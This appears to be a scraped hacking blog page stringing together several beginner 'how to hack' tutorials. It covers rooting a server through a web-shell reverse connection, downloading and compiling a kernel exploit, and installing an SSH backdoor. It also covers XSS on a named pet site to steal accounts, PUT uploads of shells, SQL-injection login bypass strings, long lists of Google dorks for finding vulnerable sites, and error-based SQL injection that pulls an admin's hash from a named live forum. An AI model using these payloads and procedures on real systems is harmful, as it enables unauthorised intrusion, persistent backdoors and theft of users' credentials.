Rooting a server

Rooting a server :





what is rooting ?

Getting admin access to the target remote system is called rooting.

Tools required

1  “Shell Upload”

2:- “Exploit”

3:- “Log Cleaner

4:- “SSH Backdoor”

5:- “netCat”

6:- “Putty”

7:- “Brain”



GOOGLE WILL HELP TO FIND ALL THINGS ESCAPE “  BRAIN “ LOOOL

>> First of all back connect the servers

open the cmd prompt and run the netcat.

Example :



if u saved netcat in C:// Drive then

Cd C:/

Cd netcat

Cd Netcat.exe

>> Now come to the shell



Open the asp Shell in browser and click on backconnection in shell.



Then write your IP address in IP Bar and Enter the port number 2121.

And then click on connect.



Using this now you have connected your shell with server.now you can give command to the server.



 >> now open the netcat window through cmd prompt and give command





Code :

==============

 Nc -| -v –p 2121

 ==============



Then output of this command will become like this



c:\netcat>nc -l -v -p 2121

Listning On 2121



Note:

you  can use any open port , it’s your choice J





2: Exploit



 Now we have to find a right exploit so go to asp shell and type there this command.





code:

===============

#Uname –a

===============

Now press the Enter and you will see like this

[admin@www.target.com /home/saijyoti/public_html/cgi-bin]$ uname -a

Linux dualxeon09.ns5.999servers.com 2.6.34-194.26.1.el5 #1 SMP Tue 2011 x86_64 x86_64 x86_64 GNU/Linux



Now you can see version of server that’s kernel 2.6.34 and year 2011 for example.

Now we have to find 2.6.34 2011 Exploit. We can find it at Google or any hacking fouram.

Else J many official websites still exist lol

 # Leetupload.com

# Exploit-db.com

# Packetstormsecurity.org

# Th3-0utl4ws.com





>> Using Of Exploit



How to execute exploit at server side

We have saved exploit in C: drive or root drive now we have to upload it via shell then compile it then execute. But first we have to go in TMP directory of the shell because Tmp is always writeable directory.

Well type the one of them command in shell

Code :

======================================



 Cd /home/websiteusername/public_html/tmp

or

Cd /home/websiteusername/public_html/admin/tmp

                             or

Cd /home/websiteusername/public_html/image/tmp

=======================================



 Note:

 you can find tmp dir in your way.





>> Now we have to execute exploit at server side.

Code :

Wget http:// exploitwebsite.com/2011-exploits/exploitname.c



code:

======================================

 http:// exploitwebsite.com/2011-exploits/exploitname.c

======================================



here you have to write the website from where you can download or get the exploit . after this command screen will look like..



code :

======================================



admin@www.target.com /home/target_username/public_html/tmp]$ wgethttp://exploitwebsite.com/2011-exploits/exploitname.c

–2011-09-22 05:12:14—http://exploitwebsite.com/2011-exploits/exploitname.c

Resolving exploitwebsite.com…199.58.192.192

Connecting to exploitwebsite.com|199.58.192.192|:80…connected.

HTTP request sent, awaiting response…200 OK

Length: 16003(15K) [text/x-csrc]

Saving to: ‘exploitname.c’



======================================



Note:

199.58.192.192 IT’s your IP address

exploit has been saved at server side using shell J ok , now we have to set the permission of the exploit to 777.

go to cmd prompt and type



code:

======================================

Chmod 777 ExploitName.c

======================================



 Now exploit is under full control at server side now we have to compile and execute the exploit.

Type commands..



Code:

======================================

gcc –o Exploit Exploitname.c

======================================

 It will compile and save . now for executing the exploit type command..



Code :

 ======================================

./exploit

======================================



Then server will tell us that we have got root or not ? lool

For checking type command..



code:

======================================

Whoami

======================================



It will answer you ‘root’ that will look like this….

uid=xxx(root) gid=xx(root) groups=xxx(root)



 Now type this command for full control



code:

======================================

su

======================================



 Ok Done!



 3:  SSH Backdoor



 >> now for installing backdoor give command….

Code:

======================================

#Wget  http://www.urlofbackdoor.com/sshdoor.zip

======================================



>> For unzip sshdoor.zip , give command..

code:

======================================

#Unzip sshdoor.zip

======================================

>> After extraction give command..

code:

======================================

cd sshdoor

======================================



>> Then give command

Code :

======================================

./run yourpass port

======================================



Note:

At the place of yourpass, you have to give your password and at the place of port , write the port number. Then open the putty and connect with that





>> Commands used for Backdoor Installing (Nutshell)

Code:

======================================

#Wget  http://www.urlofbackdoor.com/sshdoor.zip

#Unzip sshdoor.zip

#cd sshdoor

./run Crazyxploit 21

======================================



Thats All





Note :

You can use following commands for executing exploits J





C exploit



———————-

gcc -o exploit exploit.c

chmod +x exploit

./exploit

———————-



Perl Exploits



—————

perl exploit.pl

—————



Python



——————

python exploit.py

——————



php



—————–

php exploit.php

—————–



zip



—————-

unzip exploit.zip

./run

—————-



===============================================

For any doubt contact :    (AnGeL Crew)

===============================================

READMORE

An easy way to hack a website

Information
XSS stands for Cross Site Scripting. These exploits are usually used in conjunction with a cookie grabber, and a cookie editor addon (such as Add n Edit Cookies for Mozilla Firefox) to steal accounts from various websites. This is a very easy way to steal users passwords right from the site.

In this tutorial, you will learn to do some basic XSS auditing, and learn to exploit those holes to gain access.

Chapter 1 – Finding a Site
Good sites to practice on are sites that have a lot of user input. Profile sites (Myspace-Clones, Virtual Pet Sites, etc.) are great.
For this tutorial, lets use the online virtual pet site Rescreatu.

Lets start hacking

Part B – Finding the Vuln ( Security Hole )
XSS Vulnerabilities are created when the programmers don’t validate the data a user inputs. On this particular site, I know of one exploit I just found. There are probably more, but lets just use the one I found so far.

The exploit is found in the Gallery area of the site. A Gallery is where you apparently put ‘rare’ items in the game to be shown off to people.

The idiots don’t validate the input for the shop name and description. You don’t even need to obfuscate the attack vector.

Navigate to: http://www.rescreatu.com/gallery/manage.php

Create the gallery if you must.
Now, in the shop name, type:
Code:

    <script>alert('xss 1')</script>


And in the shop description put:
Code:

    <script>alert('xss 2')</script>


And hit create. Now, click on View Gallery and lets see if it worked.

We get xss 2, but not xss 1. At least we have one hole. (Note that XSS 1 can work, if you obfuscate it a little bit. All you need to do is type ‘><script>alert(‘xss 1′)</script> and it works.)

Now that we have an XSS vector… Let’s have some fun and steal some accounts.

READMORE

Hacking Sites Using HTTP methods [tutorial]

There are few steps to do this... i m going step by step to make u understand this method..     

first step
========

download any shell as u like [c99.. etc.]

check the server for write permission... how to check ?? follow me..

goto cmd and type telnet www.server.com 80  when u get connected

type PUT /upload/evil.php HTTP/1.1
       Host:iis/6.0
       Content-Length:85  
then press enter enter......

At this stage the server will respond with a 100 Continue message.

HTTP/1.1 100 Continue
Server:Microsoft-iis/6.0
Date:thu,4 nov 2010


when u recieve this.. type ur php uploader source code.. and press ENTER continuously...


after few seconds.. u will get msg. like this...

HTTP/1.1 201 Created
Server:Microsoft-iis/6.0
Date:thu,4 nov 2010
Location:http:/www.server.com/upload/evil.php
Content-Length:0
Allow:OPTION, TRACE, GET, HEAD, DELETE, ....ETC... ETC.

.If u got 201 respons.. means u got write permission enabled... hurray,,,..


open that site... www.server.com/upload/evil.php     -->   u got the uploader page  then upload ur shell and  ha ha ha ha.. u knw that wht to do now..   


i hope u like this.. 

READMORE

(new) fully explain you how to hack a website.

This tutorial will fully explain you how to hack a website. First of all you need a target website. (Google & find one) Once you’ve got it, plug into this website. http://www.selfseo.com/find_ip_address_of_a_website.php Once you’ve done that, it’ll split out its IP address. Next thing you need to do is find out is, it online or offline. (Ping) Go to http://www.just-ping.com & ping the IP obtained in last step. Observe the results from ping. (Okay means online) Now, we need to gather information about the website. (Whois lookup) Go to http://whois.domaintools.com & plug up the IP or the website. You’ll see a large amount of information about the website. Use Google to find even more information about the website. Once you’re done download, install & open Nmap. Once you have done that, do a –sT –sV scan of the website. [That is put, nmap –sT –sV, in Nmap’s command bar & scan website.] Once done, observe open OS, ports, services running on the website server.] Once done, you’ll need to find banner of the software. [Banner: It shows the software & version running on ports.] Methods depend on the OS of the server. For WIN VISTA & 7: You need to download & Open Netcat. [Because Telnet is disabled in WIN VISTA & 7] Once done type, nc Ex: nc 127.0.0.1 21 Once you’ve done that, you’ll get a banner. This will be displaying all the details of the software running on port. For other OS: Open Telnet [Start > RUN > telnet] Once done type, O Ex: O 127.0.0.1 21 Once you’ve done that, you’ll get a banner. This will be displaying all the details of the software running on port. If this doesn’t work you can try the first method. Once you’ve got the banner, you need to search for vulnerability matching with banner. Exploit databases: Injector http://www.inj3ct0r.com/ Milw0rm: http://www.milw0rm.com Security Focus: http://www.securityfocus.com Osvdb: http://www.osvdb.org Cve Mitre: http://cve.mitre.org Metasploit: http://www.metasploit.com Once you’ve got the matching exploit of the same version software. [If you haven’t got, try another port.] You need to edit values, compile & run it. Most common exploit Coders: Perl For perl exploits, Copy the exploit in notepad & save it with .pl extension. Download & Install, Active Perl: http://www.activestate.com/activeperl Once done, edit the exploit with notepad & double click to run it. PHP For PHP exploits, copy & save it in .php extension. Download & Install WAMP: http://www.wampserver.com/en/ Once done, edit the exploit with notepad & execute it from CMD. Python For python exploits, copy & save it in .py extension. Download & Install python: http://www.python.org/download Once done, edit the exploit with notepad & double click to run it. C/C++ For C/C++ exploits, copy & save it in notepad. Download & Install Blood Shed. (Google the link) Once done, edit the exploit, compile & double click to run it. If your exploit is successful you will get access to server, You’ll be able to edit every part of the website. If your exploit wasn’t successful try with different port, services & software. You can also use Metasploit web to search exploits.

READMORE

Most Simplest SQL Method to Hack any SQL Vulnerability Websites (For Newbies)

What is SQL Injection ????

It's a code injection technique that exploits a security vulnerability in a websites. The vulnerability happens when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL commands are thus injected from the web form into the database of an application (like queries) to change the database content or dump the database information like credit card or passwords to the attacker. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Step 1:

Find some sites to attack.
Go to Google and type "inurl:/admin.asp" or "inurl:/admin.php" or "inurl:/administrator.asp"
There are many Dorks to find out this Admin page of website.

Or
You can also try this...

www.website.com/administrator
www.website.com/admin
www.website.com/adminlogin
www.website.com/manager
www.website.com/cp
www.website.com/cpanel
www.website.com/login.php
www.website.com/wp-admin
www.website.com/admin.login.php

Step 2:

Now go to any url which you have found with admin page.
when we put SQL string in admin login page and then admin login penal will not handle our queries and will let you login to admin area.

Step 3:

First of all enter username:admin and password:admin if doesn't work,then enter
username:admin and password:1'or'1'='1

And you will log in.(If that website is vulnerable to SQL Injection)

You can also try there strings:






'or''='
' or 'a'='a
" or "a"="a
') or ('a'='a

Enjoy Hacking :)
Stay Tune with our Blog Become Hacker for more.. :)

READMORE

Google dork 2012

Google dork
Shells
* intitle:index of/sh3llZ
* "Index of /sh3llZ"
* "/sh3llZ/uploadshell/uploadshell.php"

Dorks 

new dork SQL injection

 inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:Pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:Productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
inurl:ages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
trainers.php?id=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
newsDetail.php?id=
staff_id=
historialeer.php?num=
product-item.php?id=
news_view.php?id=
humor.php?id=
communique_detail.php?id=
sem.php3?id=
opinions.php?id=
spr.php?id=
pages.php?id=
chappies.php?id=
prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
detail.php?ID=
publications.php?id=
Productinfo.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
channel_id=
newsid=
news_display.php?getid=
ages.php?id=
clanek.php4?id=
review.php?id=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
look.php?ID=
galeri_info.php?l=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
offer.php?idf=
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: preg_match()
"id=" & intext:"Warning: ilesize()
"id=" & intext:"Warning: filesize()
index.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
newsitem.php?num=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
Stray-Questions-View.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
ogl_inet.php?ogl_id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
announce.php?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
article.php?id=
person.php?id=
productinfo.php?id=
showimg.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
index.php?=
profile_view.php?id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
readnews.php?id=
newsone.php?id=
product-item.php?id=
pages.php?id=
clanek.php4?id=
viewapp.php?id=
viewphoto.php?id=
galeri_info.php?l=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
story.php?id=
look.php?ID=
aboutbook.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: is_writable()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: require()
buy.php?category=
pageid=
page.php?file=
show.php?id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
reagir.php?num=
Stray-Questions-View.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
sql.php?id=
select_biblio.php?id=
ogl_inet.php?ogl_id=
fiche_spectacle.php?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
loadpsb.php?id=
announce.php?id=
participant.php?id=
download.php?id=
article.php?id=
person.php?id=
productinfo.php?id=
showimg.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
index.php?=
profile_view.php?id=
category.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
collectionitem.php?id=
band_info.php?id=
product.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
tradeCategory.php?id=
transcript.php?id=
item_id=
news-full.php?id=
aboutbook.php?id=
preview.php?id=
material.php?id=
read.php?id=
viewapp.php?id=
story.php?id=
newsone.php?id=
rubp.php?idr=
art.php?idm=
title.php?id=
index1.php?modo=
include.php?*[*]*=
nota.php?pollname=
index3.php?p=
padrao.php?pre=
home.php?pa=
main.php?type=
sitio.php?start=
*.php?include=
general.php?xlink=
show.php?go=
nota.php?ki=
down*.php?oldal=
layout.php?disp=
enter.php?chapter=
base.php?incl=
enter.php?mod=
show.php?corpo=
head.php?*[*]*=
info.php?strona=
template.php?str=
main.php?doshow=
view.php?*[*]*=
index.php?to=
page.php?cmd=
view.php?b=
info.php?option=
show.php?x=
template.php?texto=
index3.php?ir=
print.php?chapter=
file.php?inc=
file.php?cont=
view.php?cmd=
include.php?chapter=
path.php?my=
principal.php?param=
general.php?menue=
index1.php?b=
info.php?chapter=
nota.php?chapter=
general.php?include=
start.php?addr=
index1.php?qry=
index1.php?loc=
page.php?addr=
index1.php?dir=
principal.php?pr=
press.php?seite=
head.php?cmd=
home.php?sec=
home.php?category=
standard.php?cmd=
mod*.php?thispage=
base.php?to=
view.php?choix=
base.php?panel=
template.php?mod=
info.php?j=
blank.php?pref=
sub*.php?channel=
standard.php?in=
general.php?cmd=
pagina.php?panel=
template.php?where=
path.php?channel=
gery.php?seccion=
page.php?tipo=
sitio.php?rub=
pagina.php?u=
file.php?ir=
*inc*.php?sivu=
path.php?start=
page.php?chapter=
home.php?recipe=
enter.php?pname=
layout.php?path=
print.php?open=
mod*.php?channel=
down*.php?phpbb_root_path=
*inc*.php?str=
gery.php?phpbb_root_path=
include.php?middlePart=
sub*.php?destino=
info.php?read=
home.php?sp=
main.php?strona=
sitio.php?get=
sitio.php?index=
index3.php?option=
enter.php?a=
main.php?second=
print.php?pname=
blank.php?itemnav=
blank.php?pagina=
index1.php?d=
down*.php?where=
*inc*.php?include=
path.php?pre=
home.php?loader=
start.php?eval=
index.php?disp=
head.php?mod=
sitio.php?section=
nota.php?doshow=
home.php?seite=
home.php?a=
page.php?url=
pagina.php?left=
layout.php?c=
principal.php?goto=
standard.php?base_dir=
home.php?where=
page.php?sivu=
*inc*.php?adresa=
padrao.php?str=
include.php?my=
show.php?home=
index.php?load=
index3.php?rub=
sub*.php?str=
start.php?index=
nota.php?mod=
sub*.php?mid=
index1.php?*[*]*=
pagina.php?oldal=
padrao.php?loc=
padrao.php?rub=
page.php?incl=
gery.php?disp=
nota.php?oldal=
include.php?u=
principal.php?pagina=
print.php?choix=
head.php?filepath=
include.php?corpo=
sub*.php?action=
head.php?pname=
press.php?dir=
show.php?xlink=
file.php?left=
nota.php?destino=
general.php?module=
index3.php?redirect=
down*.php?param=
default.php?ki=
padrao.php?h=
padrao.php?read=
mod*.php?cont=
index1.php?l=
down*.php?pr=
gery.php?viewpage=
template.php?load=
nota.php?pr=
padrao.php?destino=
index2.php?channel=
principal.php?opcion=
start.php?str=
press.php?*[*]*=
index.php?ev=
pagina.php?pre=
nota.php?content=
include.php?adresa=
sitio.php?t=
index.php?sivu=
principal.php?q=
path.php?ev=
print.php?module=
index.php?loc=
nota.php?basepath=
padrao.php?tipo=
index2.php?in=
principal.php?eval=
file.php?qry=
info.php?t=
enter.php?play=
general.php?var=
principal.php?s=
standard.php?pagina=
standard.php?subject=
base.php?second=
head.php?inc=
pagina.php?basepath=
main.php?pname=
*inc*.php?modo=
include.php?goto=
file.php?pg=
head.php?g=
general.php?header=
start.php?*root*=
enter.php?pref=
index3.php?open=
start.php?module=
main.php?load=
enter.php?pg=
padrao.php?redirect=
pagina.php?my=
gery.php?pre=
enter.php?w=
info.php?texto=
enter.php?open=
base.php?rub=
gery.php?*[*]*=
include.php?cmd=
standard.php?dir=
layout.php?page=
index3.php?pageweb=
include.php?numero=
path.php?destino=
index3.php?home=
default.php?seite=
path.php?eval=
base.php?choix=
template.php?cont=
info.php?pagina=
default.php?x=
default.php?option=
gery.php?ki=
down*.php?second=
blank.php?path=
pagina.php?v=
file.php?pollname=
index3.php?var=
layout.php?goto=
pagina.php?incl=
home.php?action=
include.php?oldal=
print.php?left=
print.php?u=
nota.php?v=
home.php?str=
press.php?panel=
page.php?mod=
default.php?param=
down*.php?texto=
mod*.php?dir=
view.php?where=
blank.php?subject=
path.php?play=
base.php?l=
index2.php?rub=
general.php?opcion=
layout.php?xlink=
padrao.php?name=
pagina.php?nivel=
default.php?oldal=
template.php?k=
main.php?chapter=
layout.php?chapter=
layout.php?incl=
include.php?url=
base.php?sivu=
index.php?link=
sub*.php?cont=
info.php?oldal=
general.php?rub=
default.php?str=
head.php?ev=
sub*.php?path=
view.php?page=
main.php?j=
index2.php?basepath=
gery.php?qry=
main.php?url=
default.php?incl=
show.php?redirect=
index1.php?pre=
general.php?base_dir=
start.php?in=
show.php?abre=
index1.php?home=
home.php?ev=
index2.php?ki=
base.php?pag=
default.php?ir=
general.php?qry=
index2.php?home=
press.php?nivel=
enter.php?pr=
blank.php?loader=
start.php?cmd=
padrao.php?d=
sitio.php?recipe=
principal.php?read=
standard.php?showpage=
main.php?pg=
page.php?panel=
press.php?addr=
template.php?s=
main.php?tipo=
*inc*.php?ev=
padrao.php?page=
show.php?thispage=
home.php?secao=
main.php?start=
enter.php?mid=
press.php?id=
main.php?inc=
index3.php?cmd=
index.php?pname=
press.php?subject=
include.php?sec=
index3.php?xlink=
general.php?texto=
index3.php?go=
index.php?cmd=
index3.php?disp=
index3.php?left=
sub*.php?middle=
show.php?modo=
index1.php?pagina=
head.php?left=
enter.php?phpbb_root_path=
show.php?z=
start.php?basepath=
blank.php?strona=
template.php?y=
page.php?where=
layout.php?category=
index1.php?my=
principal.php?phpbb_root_path=
nota.php?channel=
page.php?choix=
start.php?xlink=
home.php?k=
standard.php?phpbb_root_path=
principal.php?middlePart=
mod*.php?m=
index.php?recipe=
template.php?path=
pagina.php?dir=
sitio.php?abre=
index1.php?recipe=
blank.php?page=
sub*.php?category=
*inc*.php?body=
enter.php?middle=
home.php?path=
down*.php?pre=
base.php?w=
main.php?path=
nota.php?ir=
press.php?link=
gery.php?pollname=
down*.php?open=
down*.php?pageweb=
default.php?eval=
view.php?showpage=
show.php?get=
sitio.php?tipo=
layout.php?cont=
default.php?destino=
padrao.php?seccion=
down*.php?r=
main.php?param=
standard.php?e=
down*.php?in=
nota.php?include=
sitio.php?secao=
print.php?my=
general.php?abre=
general.php?link=
default.php?id=
standard.php?panel=
show.php?channel=
enter.php?r=
index3.php?phpbb_root_path=
gery.php?where=
head.php?middle=
sub*.php?load=
gery.php?sp=
show.php?chapter=
sub*.php?b=
general.php?adresa=
print.php?goto=
sub*.php?sp=
template.php?doshow=
padrao.php?base_dir=
index2.php?my=
include.php?w=
start.php?op=
main.php?section=
view.php?header=
layout.php?menue=
head.php?y=
sub*.php?content=
show.php?type=
base.php?id=
mod*.php?qry=
default.php?strona=
sitio.php?chapter=
gery.php?index=
nota.php?h=
page.php?oldal=
enter.php?panel=
blank.php?t=
start.php?pollname=
sub*.php?module=
enter.php?thispage=
mod*.php?index=
sitio.php?r=
sub*.php?play=
index2.php?doshow=
index2.php?chapter=
show.php?path=
gery.php?to=
info.php?base_dir=
gery.php?abre=
gery.php?pag=
view.php?channel=
default.php?mod=
index.php?op=
general.php?pre=
padrao.php?type=
template.php?pag=
standard.php?pre=
blank.php?ref=
down*.php?z=
general.php?inc=
home.php?read=
pagina.php?section=
default.php?basepath=
index.php?pre=
sitio.php?pageweb=
base.php?seite=
*inc*.php?j=
index2.php?filepath=
file.php?type=
index1.php?oldal=
index2.php?second=
index3.php?sekce=
info.php?filepath=
base.php?opcion=
path.php?category=
index3.php?start=
start.php?rub=
*inc*.php?i=
blank.php?pre=
general.php?channel=
index2.php?OpenPage=
page.php?section=
mod*.php?middle=
index1.php?goFile=
blank.php?action=
principal.php?loader=
sub*.php?op=
main.php?addr=
start.php?mid=
gery.php?secao=
pagina.php?tipo=
index.php?w=
head.php?where=
principal.php?tipo=
press.php?loader=
gery.php?showpage=
gery.php?go=
enter.php?start=
press.php?lang=
general.php?p=
index.php?sekce=
index2.php?get=
sitio.php?go=
include.php?cont=
sub*.php?where=
index3.php?index=
path.php?recipe=
info.php?loader=
print.php?sp=
page.php?phpbb_root_path=
path.php?body=
principal.php?menue=
print.php?cont=
pagina.php?z=
default.php?mid=
blank.php?xlink=
sub*.php?oldal=
general.php?b=
include.php?left=
print.php?sivu=
press.php?OpenPage=
default.php?cont=
general.php?pollname=
template.php?nivel=
enter.php?page=
file.php?middle=
standard.php?str=
gery.php?get=
main.php?v=
down*.php?subject=
enter.php?sivu=
path.php?option=
index.php?strona=
index1.php?choix=
index2.php?f=
press.php?destino=
pagina.php?channel=
principal.php?b=
home.php?include=
head.php?numero=
general.php?ref=
main.php?dir=
gery.php?cont=
principal.php?type=
file.php?param=
default.php?secao=
path.php?pageweb=
info.php?r=
base.php?phpbb_root_path=
main.php?itemnav=
view.php?pg=
pagina.php?choix=
default.php?itemnav=
index2.php?cmd=
layout.php?url=
index.php?path=
index1.php?second=
start.php?modo=
index1.php?get=
index3.php?my=
sub*.php?left=
print.php?inc=
view.php?type=
path.php?*[*]*=
base.php?adresa=
index3.php?oldal=
standard.php?body=
base.php?path=
principal.php?strona=
info.php?l=
template.php?left=
head.php?loc=
page.php?ir=
print.php?path=
down*.php?path=
sitio.php?opcion=
pagina.php?category=
press.php?menu=
index2.php?pref=
sitio.php?incl=
show.php?ki=
index3.php?x=
page.php?strona=
*inc*.php?open=
index3.php?secao=
standard.php?*[*]*=
template.php?basepath=
standard.php?goFile=
index2.php?ir=
file.php?modo=
gery.php?itemnav=
main.php?oldal=
down*.php?showpage=
start.php?destino=
blank.php?rub=
path.php?ir=

READMORE

How to hack MyBB forums. 1.4 - 1.6

This thread was made for learning purposes only, any black hat activities that involves this method is on your own risk, I'm not responsible for your actions.


First of all we've got to find a vulnerable.
Google this:

inurl:"index.php?tab=" intext:"MyBB"

Find a site that's vulnerable.
How to test if the site is vulnerable:

http://Target.com/index.php?tab=8'

If the site is vulnerable, you should get a mySQL error like this one:



Now you have a vulnerable MyBB forum, now it's time to hack it, paste the following code into the browser:

and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

I found this vulnerable site:

http://download4all.in/index.php?tab=3'

So this is how it should be in your browser:

http://download4all.in/index.php?tab=3' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Now you'll see the username, like this:



Username can be found here



So the admin username is:

Admin1

Now we have to get the Salt, so paste the following thing into your browser:

http://download4all.in/index.php?tab=3' and(select 1 from(select count(*),concat((select salt from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Now you'll see this:



So the salt is:

:

7JFqQhFk1

Now we have to get the admin password:

http://download4all.in/index.php?tab=3' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Now you'll see this:



The password is encrypted, you can use hashcat to decrypt it.
Mybb password hashing method is md5(md5($salt).md5($pass)).

How to search for vulnerabilities in a certain MyBB forum.

site:http://target.com inurl:"index.php?tab="

So for example:

site:http://download4all.in inurl:"index.php?tab="

Hope You Like My Tutorial

READMORE

Block ANY Website in ALL Browsers using Windows Hosts File!

Step by Step Procedure as depicted in the above Tutorial Video:

Suppose you want to block facebook.com on your Windows 7 PC, so that NO User, whether he/she is having an Administrator Account, Limited (Standard User) Account OR Guest Account, can access facebook.com in ANY Browser in ANY way (unless he/she knows about Windows Hosts File and how to undo the changes you’ve made).

